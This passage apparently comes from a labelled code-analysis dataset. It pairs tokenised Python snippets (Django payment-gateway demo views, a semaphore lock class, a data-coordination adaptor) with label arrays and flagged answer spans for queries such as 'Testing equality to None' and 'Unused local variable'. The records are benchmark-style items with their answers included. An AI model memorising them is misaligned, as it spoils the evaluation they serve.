"\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merchant", "_", "._", "validat", "e\\u", "card_", "(_", "credit", "\\u", "card_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Card", "Not", "Supported_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "\"", "Credit", " ", "Card", " ", "Not", " ", "Supp", "orte", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "=_", "merchant", "_", "._", "purchase", "_", "(_", "amount_", ",_", "credit", "\\u", "card_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "response", " ", "=", " ", "merchant", ".", "recurring", "(", "amo", "unt", ",", " ", "credit", "\\u", "card", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "initial_", "=_", "GATEWAY", "\\u", "INITIAL", "_", "[_", "'", "authoriz", "e\\u", "net", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "'", "app", "/", "index", ".", "html", "'_", ",_", "{_", "'", "form", "'_", ":_", "form_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "amo", "unt", "'_", ":_", "amount_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "response", "'_", ":_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "'", "Authoriz", "e", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "paypal", "_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "amount_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credit", "\\u", "card_", "=_", "Credit", "Card_", "(_", "**_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merchant", "_", "=_", "get", "\\u", "gateway_", "(_", "\"", "pay", "\\u", "pal", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merchant", "_", "._", "validat", "e\\u", "card_", "(_", "credit", "\\u", "card_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Card", "Not", "Supported_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "\"", "Credit", " ", "Card", " ", "Not", " ", "Supp", "orte", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "response", " ", "=", " ", "merchant", ".", "purchase", "(", "amo", "unt", ",", " ", "credit", "\\u", "card", ",", " ", "options", "={", "'", "request", "':", " ", "request", "})", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "=_", "merchant", "_", "._", "recurring", "_", "(_", "amount_", ",_", "credit", "\\u", "card_", ",_", "options_", "=_", "{_", "'", "request", "'_", ":_", "request_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "initial_", "=_", "GATEWAY", "\\u", "INITIAL", "_", "[_", "'", "paypal", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "'", "app", "/", "index", ".", "html", "'_", ",_", "{_", "'", "form", "'_", ":_", "form_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "amo", "unt", "'_", ":_", "amount_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "response", "'_", ":_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "'", "Pay", "pal", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ewa", "y_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "amount_", "=_", "100_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credit", "\\u", "card_", "=_", "Credit", "Card_", "(_", "**_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merchant", "_", "=_", "get", "\\u", "gateway_", "(_", "\"", "ewa", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merchant", "_", "._", "validat", "e\\u", "card_", "(_", "credit", "\\u", "card_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Card", "Not", "Supported_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "\"", "Credit", " ", "Card", " ", "Not", " ", "Supp", "orte", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bill", "ing", "\\u", "address_", "=_", "{_", "'", "sal", "utat", "ion", "'_", ":_", "'", "Mr", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "address", "1", "'_", ":_", "'", "test", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "address", "2", "'_", ":_", "'", " ", "street", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "city", "'_", ":_", "'", "Sy", "dne", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "state", "'_", ":_", "'", "NS", "W", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "compan", "y", "'_", ":_", "'", "Test", " ", "Compa", "ny", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "zip", "'_", ":_", "'", "2000", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "countr", "y", "'_", ":_", "'", "au", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "'", "test", "@", "example", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fax", "'_", ":_", "'", "026", "772", "0000", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "phone", "'_", ":_", "'", "026", "772", "0000", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mobile", "'_", ":_", "'", "040", "408", "599", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "customer", "\\u", "ref", "'_", ":_", "'", "REF", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "job", "\\u", "desc", "'_", ":_", "'", "test", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "comment", "s", "'_", ":_", "'", "any", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "www", ".", "google", ".", "com", ".", "au", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "merchant", "_", "._", "purchase", "_", "(_", "amount_", ",_", "credit", "\\u", "card_", ",_", "options_", "=_", "{_", "'", "request", "'_", ":_", "request_", ",_", "'", "bill", "ing", "\\u", "address", "'_", ":_", "bill", "ing", "\\u", "address_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "initial_", "=_", "GATEWAY", "\\u", "INITIAL", "_", "[_", "'", "ewa", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "'", "app", "/", "index", ".", "html", "'_", ",_", "{_", "'", "form", "'_", ":_", "form_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "amo", "unt", "'_", ":_", "amount_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "response", "'_", ":_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "'", "Ew", "ay", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "brain", "tree_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "amount_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credit", "\\u", "card_", "=_", "Credit", "Card_", "(_", "**_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merchant", "_", "=_", "get", "\\u", "gateway_", "(_", "\"", "brain", "tree", "\\u", "payments", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merchant", "_", "._", "validat", "e\\u", "card_", "(_", "credit", "\\u", "card_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Card", "Not", "Supported_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "\"", "Credit", " ", "Card", " ", "Not", " ", "Supp", "orte", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "=_", "merchant", "_", "._", "purchase", "_", "(_", "amount_", ",_", "credit", "\\u", "card_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "initial_", "=_", "GATEWAY", "\\u", "INITIAL", "_", "[_", "'", "brain", "tree", "\\u", "payments", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "'", "app", "/", "index", ".", "html", "'_", ",_", "{_", "'", "form", "'_", ":_", "form_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "amo", "unt", "'_", ":_", "amount_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "response", "'_", ":_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "'", "Brain", "tree", " ", "Payment", "s", " ", "(", "S2", "S", ")'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
HenryHu/pybbs/SemLock.py
[ { "content": " @staticmethod\n def Lock(lockid, timeout = None):\n if (SemLock.sems == None):\n SemLock.Init()\n if (lockid != 0):\n Log.error(\"Invalid lockid!\")\n lockid = 0\n SemLock.sems[lockid].acquire(timeout)", "metadata": "root.SemLock.Lock", "header": "['class', 'SemLock', ':', '___EOS___']", "index": 16 }, { "content": " @staticmethod\n def Unlock(lockid):\n if (SemLock.sems == None):\n SemLock.Init()\n if (lockid != 0):\n Log.error(\"Invalid lockid!\")\n lockid = 0\n SemLock.sems[lockid].release()", "metadata": "root.SemLock.Unlock", "header": "['class', 'SemLock', ':', '___EOS___']", "index": 25 } ]
[ { "span": "SemLock.sems == None)", "start_line": 18, "start_column": 12, "end_line": 18, "end_column": 32 }, { "span": "SemLock.sems == None)", "start_line": 27, "start_column": 12, "end_line": 27, "end_column": 32 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Sem", "Lock_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Lock_", "(_", "lock", "id_", ",_", "timeout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "Sem", "Lock_", "._", "sem", "s_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Sem", "Lock_", "._", "Init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "lock", "id_", "!=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Log_", "._", "error_", "(_", "\"", "Inva", "lid", " ", "lock", "id", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lock", "id_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Sem", "Lock_", "._", "sem", "s_", "[_", "lock", "id_", "]_", "._", "acquire_", "(_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Lock_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Unlock", "_", "(_", "lock", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "Sem", "Lock_", "._", "sem", "s_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Sem", "Lock_", "._", "Init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "lock", "id_", "!=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Log_", "._", "error_", "(_", "\"", "Inva", "lid", " ", "lock", "id", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lock", "id_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Sem", "Lock_", "._", "sem", "s_", "[_", "lock", "id_", "]_", "._", "release_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
saga-project/BigJob/pilot/coordination/nocoord_adaptor.py
[ { "content": " @classmethod\n def delete_pds(cls, pds_url):\n pds_url = cls.__get_url(pds_url)\n #pds_dir = saga.advert.directory(saga.url(pds_url), \n # saga.advert.Create | \n # saga.advert.CreateParents | \n # saga.advert.ReadWrite)\n #pds_dir.remove(pds_url, saga.name_space.Recursive) ", "metadata": "root.NoCoordinationAdaptor.delete_pds", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 46 }, { "content": " @classmethod\n def update_pd(cls, pd):\n if len(pd.data_units) > 0:\n du_urls = [i.url for i in pd.data_units.values()]\n #cls.__store_entry(cls.__remove_dbtype(pd.url)+\"/data-units\", du_urls)\n #cls.__store_entry(cls.__remove_dbtype(pd.url)+\"/pilot-data\", pd.to_dict())", "metadata": "root.NoCoordinationAdaptor.update_pd", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 71 }, { "content": " @classmethod\n def get_pd(cls, pds_url):\n logger.debug(\"GET PD: \" + pds_url) \n pd_dict={} \n #pd_dict[\"pilot_data\" ]= cls.__retrieve_entry(cls.__remove_dbtype(pds_url)+\"/pilot-data\")\n #pd_dict[\"pilot_data\"] = cls.__retrieve_entry(cls.__remove_dbtype(pds_url)+\"/pilot-data\") \n #return pd_dict", "metadata": "root.NoCoordinationAdaptor.get_pd", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 79 }, { "content": " @classmethod\n def delete_pd(cls, pds_url):\n pds_url = cls.__get_url(pds_url)\n #pd_dir = saga.advert.directory(saga.url(pds_url), \n # saga.advert.Create | \n # saga.advert.CreateParents | \n # saga.advert.ReadWrite)\n #pd_dir.remove(pds_url, saga.name_space.Recursive) ", "metadata": "root.NoCoordinationAdaptor.delete_pd", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 103 }, { "content": " @classmethod \n def update_cds(cls, cds_url, cds):\n \n # Storage and Compute Resources\n pds_urls = [cls.__remove_dbtype(i.url) for i in cds.pilot_data_services]\n #cls.__store_entry(cls.__remove_dbtype(cds_url)+\"/pds/\", pds_urls)\n \n pjs_urls = [i.url for i in cds.pilot_job_services]\n #cls.__store_entry(cls.__remove_dbtype(cds_url)+\"/cds/\", pjs_urls)\n \n # currently managed PDs and WUs\n pd_urls = [i.url for i in cds.data_units.values()]\n #cls.__store_entry(cls.__remove_dbtype(cds_url)+\"/du/\", pd_urls)\n \n wu_urls = [i.url for i in cds.compute_units.values()]\n #cls.__store_entry(cls.__remove_dbtype(cds_url)+\"/cu/\", wu_urls)", "metadata": "root.NoCoordinationAdaptor.update_cds", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 125 }, { "content": " @classmethod\n def delete_cds(cls, cds_url):\n cds_url = cls.__get_url(cls.__remove_dbtype(cds_url))\n #cds_dir = saga.advert.directory(saga.url(cds_url), \n # saga.advert.Create | \n # saga.advert.CreateParents | \n # saga.advert.ReadWrite)\n # cds_dir.remove(cds_url, saga.name_space.Recursive)", "metadata": "root.NoCoordinationAdaptor.delete_cds", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 143 }, { "content": " @classmethod \n def update_du(cls, du):\n logger.debug(\"**** Update pilot data at: \" + du.url)\n #cls.__store_entry(cls.__remove_dbtype(du.url)+\"/description\", du.data_unit_description)\n #cls.__store_entry(cls.__remove_dbtype(du.url)+\"/state\", du.state)\n \n du_urls = [i.url for i in du.pilot_data]\n #cls.__store_entry(cls.__remove_dbtype(du.url)+\"/pilot-data\", du_urls)\n \n du_dict_list = [i.to_dict() for i in du.data_unit_items]\n #cls.__store_entry(cls.__remove_dbtype(du.url)+\"/data-units\", du_dict_list)", "metadata": "root.NoCoordinationAdaptor.update_du", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 180 }, { "content": " @classmethod\n def delete_du(cls, du_url):\n du_url = cls.__get_url(du_url)\n #du_dir = saga.advert.directory(saga.url(du_url), \n # saga.advert.Create | \n # saga.advert.CreateParents | \n # saga.advert.ReadWrite)\n #du_dir.remove(du_url, saga.name_space.Recursive) ", "metadata": "root.NoCoordinationAdaptor.delete_du", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 209 }, { "content": " @classmethod\n def __store_entry(cls, entry_url, content):\n entry_url = cls.__get_url(entry_url)\n \n # directory is recursively created\n #entry = saga.advert.entry(saga.url(entry_url),\n # saga.advert.Create | \n # saga.advert.CreateParents | saga.advert.ReadWrite)\n #entry.store_string(json.dumps(content))\n #logger.debug(\"Store Advert entry at: \" + entry_url \n # + \" Content: \" + str(json.dumps(content)))", "metadata": "root.NoCoordinationAdaptor.__store_entry", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 249 }, { "content": " @classmethod\n def __retrieve_entry(cls, entry_url):\n entry_url = cls.__get_url(entry_url)\n #logger.debug(\"Retrieve Advert entry at: \" + entry_url)\n # directory is recursively created\n #entry = saga.advert.entry(saga.url(entry_url),\n # saga.advert.Create | \n # saga.advert.CreateParents | saga.advert.ReadWrite)\n #content = json.loads(entry.retrieve_string())\n #logger.debug(\"Retrieve Advert entry at: \" + entry_url \n # + \" Content: \" + str(json.dumps(content)))\n return content", "metadata": "root.NoCoordinationAdaptor.__retrieve_entry", "header": "['class', 'NoCoordinationAdaptor', ':', '___EOS___']", "index": 261 } ]
[ { "span": "pds_url ", "start_line": 48, "start_column": 8, "end_line": 48, "end_column": 15 }, { "span": "du_urls ", "start_line": 74, "start_column": 12, "end_line": 74, "end_column": 19 }, { "span": "pd_dict=", "start_line": 82, "start_column": 8, "end_line": 82, "end_column": 15 }, { "span": "pds_url ", "start_line": 105, "start_column": 8, "end_line": 105, "end_column": 15 }, { "span": "pds_urls ", "start_line": 129, "start_column": 8, "end_line": 129, "end_column": 16 }, { "span": "pjs_urls ", "start_line": 132, "start_column": 8, "end_line": 132, "end_column": 16 }, { "span": "pd_urls ", "start_line": 136, "start_column": 8, "end_line": 136, "end_column": 15 }, { "span": "wu_urls ", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 15 }, { "span": "cds_url ", "start_line": 145, "start_column": 8, "end_line": 145, "end_column": 15 }, { "span": "du_urls ", "start_line": 186, "start_column": 8, "end_line": 186, "end_column": 15 }, { "span": "du_dict_list ", "start_line": 189, "start_column": 8, "end_line": 189, "end_column": 20 }, { "span": "du_url ", "start_line": 211, "start_column": 8, "end_line": 211, "end_column": 14 }, { "span": "entry_url ", "start_line": 251, "start_column": 8, "end_line": 251, "end_column": 17 }, { "span": "entry_url ", "start_line": 263, "start_column": 8, "end_line": 263, "end_column": 17 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "delete", "\\u", "pd", "s_", "(_", "cls_", ",_", "pd", "s", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pd", "s", "\\u", "url_", "=_", "cls_", "._", "\\u\\u", "get", "\\u", "url_", "(_", "pd", "s", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pd", "s", "\\u", "dir", " ", "=", " ", "sag", "a", ".", "adver", "t", ".", "director", "y", "(", "sag", "a", ".", "url", "(", "pd", "s", "\\u", "url", "),", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", "Parent", "s", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Read", "Write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "pd", "s", "\\u", "dir", ".", "remove", "(", "pd", "s", "\\u", "url", ",", " ", "sag", "a", ".", "name", "\\u", "space", ".", "Recursive", ")", " _", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update", "\\u", "pd_", "(_", "cls_", ",_", "pd_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "pd_", "._", "data\\u", "units_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "du", "\\u", "urls_", "=_", "[_", "i_", "._", "url_", "for_", "i_", "in_", "pd_", "._", "data\\u", "units_", "._", "values_", "(_", ")_", "]_", 